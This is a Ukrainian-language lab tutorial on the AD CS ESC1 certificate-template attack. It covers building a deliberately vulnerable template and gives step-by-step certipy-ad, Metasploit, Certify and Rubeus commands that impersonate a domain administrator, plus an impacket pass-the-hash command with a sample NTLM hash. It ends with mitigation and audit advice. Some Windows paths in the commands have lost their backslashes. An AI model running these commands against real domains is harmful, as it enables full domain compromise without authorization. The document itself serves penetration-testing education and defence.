>

ESC1 (Certificate Exploitation) - це критична вразливість у службах сертифікації Active Directory (AD CS). У цій статті ми детально розберемо, як некоректно налаштовані шаблони сертифікатів стають прямим шляхом до ескалації привілеїв, а також розглянемо ключові техніки їх експлуатації.

Шаблон сертифіката AD CS - це попередньо визначений набір конфігурацій у Microsoft Active Directory Certificate Services, який регламентує параметри сертифікатів, що можуть запитувати користувачі, комп’ютери або сервіси. Шаблон чітко визначає:

• Призначення сертифіката (EKU - Enhanced Key Usage);
• Алгоритми шифрування;
• Термін дії;
• Можливість автоматичної реєстрації (auto-enrollment).

Завдяки цим шаблонам адміністратори централізовано керують випуском сертифікатів у межах інфраструктури AD. Це дозволяє стандартизувати процес та спростити розгортання довірених сертифікатів для автентифікації вузлів та сервісів.

Основні типи шаблонів сертифікатів:

1. User Certificate - призначений для автентифікації користувачів у системі.
2. Computer Certificate - використовується для ідентифікації хостів (комп’ютерів).
3. Web Enrollment Certificate - застосовується для подання запитів на сертифікат через веб-інтерфейс.
4. Code Signing Certificate - необхідний для цифрового підпису програмного забезпечення або скриптів.

Зміст

• Механізм роботи AD CS: Аналіз життєвого циклу та потоків сертифікатів.
• Аналіз вразливих конфігурацій: Розуміння некоректних прав доступу на реєстрацію (Enrollment Rights).
• Передумови (Prerequisites): Що необхідно для успішного проведення атаки.
• Налаштування стенду (Lab Setup): Підготовка середовища для симуляції.

Виявлення та Експлуатація (Enumeration & Exploitation)

• Метод №1: Використання Certipy-ad - потужний інструмент для автоматизації атак на AD CS.
• Метод №2: Модулі Metasploit - використання готових експлойтів у межах фреймворку.
• Метод №3: Certipy.exe - реалізація атаки безпосередньо з-під Windows-хоста.

Служби сертифікації Active Directory (AD CS) - Логіка та цикли випуску сертифікатів (Certificate Flow)

Setup -> Request  -> Approval -> Use -> Renewal or Revocation -> Validity Check

Налаштування та розгортання (Setup)

На початковому етапі організація розгортає Центр сертифікації (Certificate Authority - CA). У структурі домену він виконує роль довіреного органу, що відповідає за видачу цифрових посвідчень - сертифікатів - користувачам, хостам та сервісам для підтвердження їхньої автентичності.

Запит

Клієнт (користувач або пристрій) ініціює запит до CA:

“Прошу видати мені сертифікат на основі обраного шаблону.”

Цей процес може відбуватися двома шляхами:

Автоматично (Auto-enrollment): На основі групових політик (GPO) для систем, що є членами домену.

Вручну (Manual Enrollment): Із використанням оснастки MMC (Certmgr.msc / Certlm.msc), утиліти командного рядка certreq.exe або через веб-інтерфейс реєстрації.

Перевірка та схвалення (Approval / Issuance)

Центр сертифікації проводить верифікацію:

“Чи є цей запит коректним, і чи має суб’єкт достатньо прав для отримання сертифіката за цим шаблоном?”

У разі успішної перевірки CA підписує сертифікат своїм закритим ключем (аналогічно накладенню мокрої печатки на офіційний документ) і передає його ініціатору запиту.

Використання(Use)

Після отримання сертифікат стає легітимним інструментом для забезпечення безпеки, зокрема для:

• Автентифікації в домені (Smart Card Logon, Kerberos PKINIT).

• Забезпечення роботи HTTPS на вебсерверах.

• Шифрування та підпису електронної пошти (S/MIME).

• Доступу до VPN та корпоративних мереж Wi-Fi (802.1X).

• Захищеної комунікації через IPsec.

Оновлення та відкликання (Renewal & Revocation)

• Оновлення (Renewal): До завершення терміну дії сертифіката система або користувач ініціюють запит на його пролонгацію.

• Відкликання (Revocation): Якщо закритий ключ скомпрометовано або сертифікат більше не є актуальним, CA вносить його до списку відкликаних.

Перевірка статусу (Validity Check)

Сторонні системи при кожній взаємодії перевіряють статус сертифіката:

“Чи є цей сертифікат досі чинним і довіреним?”

Для цього використовуються механізми:

• CRL (Certificate Revocation Lists): Списки відкликаних сертифікатів.

• OCSP (Online Certificate Status Protocol): Протокол для отримання статусу сертифіката в режимі реального часу.

У межах цього дослідження ми продемонструємо, як некоректна конфігурація шаблонів AD CS дозволяє зловмиснику отримати сертифікат від імені будь-якого користувача домену (зокрема Domain Admin). Отриманий сертифікат надалі буде використано для повної компрометації та автентифікації в інфраструктурі.

Аналіз некоректних налаштувань прав реєстрації (Enrollment Rights)

Misconfiguration of Enrollment Rights виникає тоді, коли шаблони служб сертифікації (AD CS) містять критичні недоліки в конфігурації безпеки. Зокрема, мова йде про поєднання наступних параметрів:

• ENROLLEE_SUPPLIES_SUBJECT (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT): дозволяє запитувачу самостійно визначати Subject Alternative Name (SAN). Це найнебезпечніша опція, оскільки вона дає можливість вказати ідентифікатор іншого користувача в запиті.

• Any Purpose або Client Authentication (EKU): наявність ідентифікаторів об’єктів (OID), таких як 1.3.6.1.5.5.7.3.3 або 1.3.6.1.5.5.7.3.2, що дозволяють використовувати отриманий сертифікат для проходження автентифікації в домені.

• Відсутність вимоги схвалення (No Manager Approval): сертифікати видаються автоматично одразу після запиту, без ручного підтвердження адміністратором безпеки.

• Надлишкові права доступу (Low-Privilege Access): шаблон доступний для використання широкому колу користувачів (наприклад, групі Domain Users або Authenticated Users).

Якщо в інфраструктурі виявлено шаблон із такою комбінацією налаштувань, це означає, що будь-який автентифікований користувач може легітимно запросити сертифікат, вказавши в полі SAN ім’я Administrator (або будь-якого іншого високого привілейованого акаунта). Отримавши такий сертифікат, зловмисник може використовувати його для автентифікації в мережі, що призводить до миттєвої ескалації привілеїв та повного захоплення контролю над доменом.

Наведена таблиця є ключем до розуміння призначень сертифікатів через їхні політики. Кожен тип сертифіката має унікальний OID (Object Identifier), який визначає, для яких саме завдань він може бути використаний.

Наприклад, якщо ми бачимо шаблон, призначений для Client Authentication, це означає, що виданий на його основі сертифікат дозволяє користувачеві або комп’ютеру проходити автентифікацію в системі.

Попередні вимоги (Prerequisites)

Для успішного відтворення атаки та дослідження механізмів захисту необхідні наступні компоненти:

• Windows Server 2019: Налаштований як контролер домену з підтримкою протоколу PKINIT.

• Інфраструктура відкритих ключів (PKI): У домені мають бути розгорнуті та сконфігуровані служби Active Directory Certificate Services (AD CS) і Certificate Authority (CA).

• Kali Linux: Основна операційна система для проведення тестування.

• Інструментарій (Toolkit): Rubeus.exe, certify.exe, Impacket, certipy-ad, Metasploit

Налаштування лабораторного стенду (Lab Setup)

Для практичної демонстрації вразливості ми створимо обліковий запис користувача aarti та включимо його до групи Domain Users (у нашому прикладі - IGNITE\Domain Users). Це дозволить наочно показати, як зловмисник із мінімальними привілеями може експлуатувати хибні конфігурації шаблонів AD CS для повної компрометації домену через вектор ESC1.

Підготовка середовища Active Directory:

Вам знадобиться Windows Server, підвищений до ролі контролера домену (DC), з інстальованими службами сертифікації та вразливим шаблоном.

Конфігурація DC та AD CS:

• Встановіть Windows Server (2016 або 2019) з підтримкою PKINIT.

• Розгорніть роль Active Directory Domain Services (AD DS) та підвищте сервер до рівня контролера домену.

• Налаштуйте домен (наприклад, ignite.local).

• Інсталюйте роль Active Directory Certificate Services та налаштуйте Certificate Authority.

Walkthrough: Створення вразливого шаблону сертифіката

Нижче наведено покроковий розбір налаштування лабораторного стенду для відтворення вразливості в AD CS, про яку ми говорили раніше.

Крок за кроком: Configure the ESC1-Vulnerable Certificate Template

Ми створимо некоректно налаштований шаблон у службах сертифікації Active Directory. Процес включає дублювання існуючого шаблону, активацію можливості вказувати ім’я суб’єкта в запиті та встановлення небезпечних прав доступу, що в сукупності робить систему вразливою.

Відкрийте консоль certsrv.msc (Certificate Authority) через меню «Виконати» (Win+R) на вашому сервері AD CS.

Перейдіть до розділу Certificate Templates натисніть праву кнопку миші та виберіть → Manage

У списку шаблонів, що з’явиться, знайдіть шаблон Code Signing, натисніть на нього правою кнопкою миші та виберіть Duplicate Template.

Перейдіть на вкладку General у властивостях нового шаблону. Змініть відображуване ім’я (Template display name) на щось впізнаване, наприклад, Custom_ESC1.

Відкрийте вкладку Subject Name і виберіть опцію Supply in the request. Саме це налаштування є критичною помилкою (misconfiguration), яка дозволяє зловмисникам ініціювати запит на сертифікат для будь-якого користувача системи.

Примітка: Дозвіл користувачам вручну вказувати Subject Name при запиті сертифіката дає можливість атакувальнику вписати будь-який ідентифікатор (наприклад, Administrator). У поєднанні з іншими недоліками ESC1 це відкриває прямий шлях до ескалації привілеїв.

Modify Template Permissions

Змінити дозволи (Access for All Users) перейдіть на вкладку Security tab, де ви можете побачити Authenticated Users або натисніть Add, потім введіть Authenticated Users → натисніть OK, щоб вибрати Authenticated Users.

Але в цьому випадку ми змінимо дозволи для групи Domain Users. Натисніть Add, введіть Domain Users, а потім додайте її до групи.

Виберіть Domain Users і встановіть наступні дозволи: Enroll

Визначення політик застосування (Define Application Policies)

Розгорніть властивості створеного шаблону Custom_ESC1 та перейдіть на вкладку Extensions. Тут необхідно обрати пункт Application Policies - саме цей параметр регламентує цільове призначення сертифіката (його логіку використання в системі).

Виберіть Edit

Тепер натисніть кнопку Add у вікні Application policies.

Тут нам необхідно додати політики застосування: виберіть Client Authentication і натисніть OK.

Публікація вразливого шаблону

Після того як шаблон налаштовано, нам потрібно опублікувати його в Центрі сертифікації.

Поверніться до вікна Центру сертифікації (certsrv.msc). Натисніть правою кнопкою миші на Certificate Templates → Натисніть New → Certificate Template to Issue.

Знайдіть вразливий шаблон у списку та виберіть його; у нашому випадку ми створили його під назвою Custom_ESC1.

Натисніть OK, щоб опублікувати його.

Чому шаблон ESC1 є вразливим: технічний аналіз

На цьому етапі критично важливо розуміти, як саме поєднання певних параметрів перетворює легітимний шаблон на інструмент атаки. Вразливість ESC1 виникає через сукупність наступних некоректних налаштувань:

Можливість визначення суб’єкта в запиті (SAN)

Це налаштування знаходиться в оснастці Certificate Template Management (certtmpl.msc) на вкладці Request Handling.

У чому полягає помилка: Активація опції “Supply in the request” дозволяє користувачеві самостійно вказувати будь-яке ім’я суб’єкта (Subject Alternative Name - SAN).

Наслідки: Зловмисник може ініціювати запит на сертифікат, вказавши в полі SAN дані облікових записів Administrator, Domain Admins або критичних сервісних акаунтів.

Надлишкові права доступу для широкого кола користувачів

Цей недолік конфігурації виникає під час налаштування прав доступу в certsrv.msc або при визначенні дозволів на реєстрацію в ADUC.

У чому полягає помилка: Надання групі “Domain Users” або “Authenticated Users” прав типу “Enroll” або “AutoEnroll”.

Наслідки: Будь-який рядовий користувач домену отримує легітимну можливість ініціювати процес отримання сертифіката за цим вразливим шаблоном.

Відсутність механізмів перевірки та схвалення

Параметр контролюється у властивостях шаблону в консолі Certification Authority (certsrv.msc).

У чому полягає помилка: Вимкнення вимоги ручного схвалення адміністратором (Manager Approval) перед видачею сертифіката

Наслідки: Центр сертифікації видає документи автоматично. Це дозволяє атакувальнику отримати сертифікат адміністратора миттєво, не створюючи підозрілих запитів, що потребують уваги офіцера безпеки.

Висновок: Саме така комбінація налаштувань робить атаку ESC1 можливою. Користувач із мінімальними правами може отримати сертифікат привілейованого акаунта, використати його для автентифікації в домені та здійснити повне захоплення інфраструктури (Privilege Escalation).

Методи виявлення та експлуатації

Після налаштування шаблону зловмисник може використати різноманітні інструменти для запиту сертифіката адміністратора. Це дозволяє продемонструвати вразливість AD CS ESC1 Certificate Exploitation та отримати привілейований доступ до системи.

Оскільки вразливий шаблон сертифіката (названий нами Custom_ESC1 або інакше) уже конфігуровано, наступні кроки включають:

Метод 1: Certipy-ad

Крок 1: Перерахування шаблонів сертифікатів

Перед початком атаки ми повинні виявити вразливі шаблони сертифікатів. Для цього ми використаємо інструмент для Linux під назвою certipy-ad (Certipy-ad - це Python-інструмент для атак на AD CS).

certipy-ad find -u 'aarti@ignite.local' -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

Тепер настав час знайти шаблон, який ми щойно зберегли, і перевірити наявність групи «Domain Users» із дозволами на реєстрацію (Enroll). Якщо в результатах з’явиться вразливий шаблон, яким у нашому випадку є Custom_ESC1, переходьте до наступного кроку.

Крок 2: Запит сертифіката від імені Адміністратора

У Linux (використовуючи Certipy), ви можете виконати наступну команду:

certipy-ad req -u 'aarti@ignite.local' -p 'Password@1' -dc-ip 192.168.1.48 -ca ignite-DC1-CA -target 'dc.ignite.local' -template 'Custom_ESC1' -upn 'administrator@ignite.local'

У разі успіху буде згенеровано сертифікат автентифікації.

Крок 3: Автентифікація від імені Адміністратора

Тепер настав час пройти автентифікацію з отриманим сертифікатом від імені адміністратора, запустивши просту команду:

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.48

Крок 4: Дамп NTLM-хешів для пост-експлуатації

Після проходження автентифікації від імені Адміністратора виконайте дамп NTLM-хешів із контролера домену.

Крок 5: Горизонтальне переміщення та ескалація привілеїв

Отримавши NTLM-хеші, здійснюйте горизонтальне переміщення за допомогою атак Pass-the-Hash (PTH).

Для цього використайте чудовий інструмент impacket з наступною командою:

impacket-psexec ignite.local/administrator@ignite.local -hashes aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03

Метод 2 : Metasploit

Metasploit, потужний фреймворк для тестування на проникнення, може автоматизувати експлуатацію ESC1 наступним чином:

Крок 1: Перерахування хибних конфігурацій AD CS

Перед початком атаки проведіть перерахування шаблонів сертифікатів для перевірки наявності помилок у налаштуваннях. Модуль Metasploit ldap_esc_vulnerable_cert_finder автоматизує процес пошуку некоректно налаштованих шаблонів сертифікатів, які дозволяють ескалацію привілеїв.

Запустіть Metasploit і завантажте модуль перерахування LDAP.

msfconsole
use auxiliary/gather/ldap/ldap_esc_vulnerable_cert_finder
set RHOSTS 192.168.1.48
set DOMAIN ignite.local
set USERNAME aarti
set PASSWORD Password@1
run

• RHOSTS - це IP-адреса контролера домену.
• DOMAIN - це цільовий домен Active Directory.
• USERNAME та PASSWORD - це облікові дані користувача AD з низькими привілеями.

Модуль перевірить наявність некоректно налаштованих шаблонів сертифікатів.

Шукайте: ”Domain Users” can enroll.

Після виявлення вразливого шаблону ми можемо надіслати запит на отримання сертифіката від імені Адміністратора.

Крок 2: Запит сертифікатів для ескалації привілеїв

Завантажте модуль запиту сертифікатів (Certificate Request Module).

use auxiliary/admin/dcerpc/icpr_cert
set rhosts 192.168.1.48
set smbuser aarti
set smbpass Password@1
set CA ignite-DC1-CA
set cert_template Custom_ESC1
set smbdomain ignite.local
run

Цим ми запитуємо сертифікат автентифікації Kerberos для користувача Administrator. У разі успіху буде збережено файл сертифіката у форматі .pfx.

Крок 3: Використання сертифікатів для атак Pass-the-Certificate (PtC)

Завантажте модуль Kerberos.

use auxiliary/admin/kerberos/get_ticket
set rhosts 192.168.1.48
set domain ignite.local
set action GET_HASH
set username administrator
set cert_file /root/.msf4/loot/20250108132859_default_192.168.1.48_windows.ad.cs_493919.pfx
run

Використовує автентифікацію за NTLM-хешем для горизонтального переміщення за допомогою ваших улюблених технік та інструментів.

Метод 3 : Certipy.exe

Крок 1: Підтвердження наявності вразливого шаблону сертифіката

Увійшовши в систему під будь-яким користувачем, що належить до групи Domain Users (як-от користувач aarti у цьому випадку), ви можете скористатися обраними інструментами для підтвердження наявності вразливого шаблону. У даному разі для цього виконайте наступну команду за допомогою Certify.exe - інструмента для Windows, який допомагає виявляти та експлуатувати вразливості AD CS. Наведена нижче команда відобразить усі шаблони сертифікатів і позначить будь-які помилки в конфігурації.

Виконайте команду:

certify.exe find /vulnerable /currentuser

Ви також можете знайти прапор ENROLLEE_SUPPLIES_SUBJECT трохи нижче, що підтверджує вразливість вашого шаблону до атаки.

Крок 2: Запит сертифіката від імені Адміністратора

Після ідентифікації вразливого шаблону надішліть запит на отримання сертифіката для адміністратора.

Запустіть наступну команду:

certify.exe request /ca:DCI.ignite.localignite-DC1-CA /template:Custom_ESC1 /altname:ignite.localadministrator

Запитує сертифікат і зберігає його як .pfx-файл (наприклад, cert.pfx). Ви можете використовувати обрані вами інструменти або той самий certify.exe для збереження запитаного сертифіката; у цьому випадку ми скористаємося інструментом openssl для експорту сертифіката.

Запустіть команду:

.openssl pkcs12 -in cert.pem -keyex -csp "Microsoft Enhanced Cryptographicprovider v1.0" -Export -out c:Userspubliccert.pfx

Хоча ми успішно згенерували сертифікат автентифікації, ми не можемо отримати доступ до спільного ресурсу C$ при спробі переглянути його через SMB за допомогою команди:

dir \dc1.ignite.localC$

Крок 3: Запит Kerberos TGT за допомогою сертифіката

Тепер спробуймо скористатися Rubeus.exe, щоб отримати квиток на надання квитків (Ticket Granting Ticket, TGT) для адміністратора від контролера домену. У разі успіху вивід міститиме TGT у кодуванні Base64.

Крок 4: Ін’єкція TGT у поточну сесію

Щойно ми отримаємо TGT, ми зможемо ін’єктувати його в пам’ять, щоб привласнити привілеї адміністратора.

Просто запустіть команду:

.Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /ptt

Це дозволяє поточній сесії працювати від імені адміністратора. Ви можете перевірити використання квитка для ескалації привілеїв, просто спробувавши отримати доступ до шляху C$ контролера домену (DC).

Стратегії пом’якшення наслідків (Mitigation Strategies)

Стратегії протидії та мінімізації ризиків Щоб унеможливити експлуатацію вразливості AD CS ESC1, організаціям необхідно впровадити комплексні заходи безпеки. Регулярний аудит шаблонів сертифікатів та коректна конфігурація служб AD CS дозволяють нейтралізувати ризики подібних атак.

Ключові захисні заходи:

• Обмеження прав доступу до шаблонів: Права на реєстрацію сертифікатів (Enrollment Rights) повинні надаватися виключно довіреним привілейованим користувачам.
• Використання стійкої криптографії: Впровадження алгоритмів RSA з довжиною ключа 3072/4096 біт та хеш-функцій сімейства SHA-256/SHA-512.
• Заборона атрибутів SAN, визначених користувачем: Вимкнення опції, що дозволяє запитувачу самостійно вказувати Subject Alternative Name, щоб запобігти несанкціонованій імітації особи (impersonation).
• Моніторинг процесів видачі сертифікатів: Налаштування аудиту для відстеження подій у журналах (Event IDs 4886, 4887, 4768), що дозволяє вчасно виявити підозрілу активність.
• Впровадження політик відкликання: Активне використання списків відкликаних сертифікатів (CRL) та протоколу OCSP для миттєвої ануляції скомпрометованих сертифікатів.